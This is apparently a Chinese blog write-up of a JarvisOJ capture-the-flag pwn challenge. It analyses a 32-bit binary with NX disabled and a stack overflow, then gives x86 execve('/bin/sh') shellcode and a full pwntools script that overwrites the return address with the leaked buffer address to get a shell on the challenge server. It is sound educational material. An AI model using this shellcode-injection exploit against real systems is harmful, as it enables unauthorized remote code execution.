JarvisOJ-PWN-Level
先checksec一下:
发现NX栈保护没有打开,也就是堆栈代码没有进行保护,那么就就题目很可能就是要输入shellcode在栈里执行吧。
打开IDA分析(32位):
主函数:
vulner..fuction()函数:
题目的逻辑是打出buf的首地址然后写入从标准输入100字节给buf。
然后输出Holle world。
我们再看buf的内存分配:
buf的内存长度就=0x00000004-(-0x00000088)=0x8c
0x100>0x8c,存在栈溢出。
然而我们这次没有system的地址了,栈溢出也没用,这时我们想起该程序没有NX保护,所以可以自己写shellcode,也就是将shellcode写入栈,在栈里执行system(“/bin/sh”),这就需要我们将ret的jmp变成buf的首地址,使得read结束后调用buf地址从而执行shellcode,而buf首地址也正好给了我们。
OK,开始写shellcode了,可以参考这个写shellcode。
可以用我的另一个赚们写shellcode的博客参考下:
http://blog.csdn.net/qq_35495684/article/details/79583232
所以我们获得了shellcode:
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
getshell代码:
# -*- coding: utf-8 -*-
from pwn import*
#context(log_level = 'debug', arch = 'i386', os = 'linux')
#shellcode=asm(shellcraft.sh())
r=remote('pwn2.jarvisoj.com', 9877)#连接
#r=process("./test")
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
addr=int(r.readline()[len("What's this:"):-2],16)
payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr)
r.sendline(payload)
r.interactive()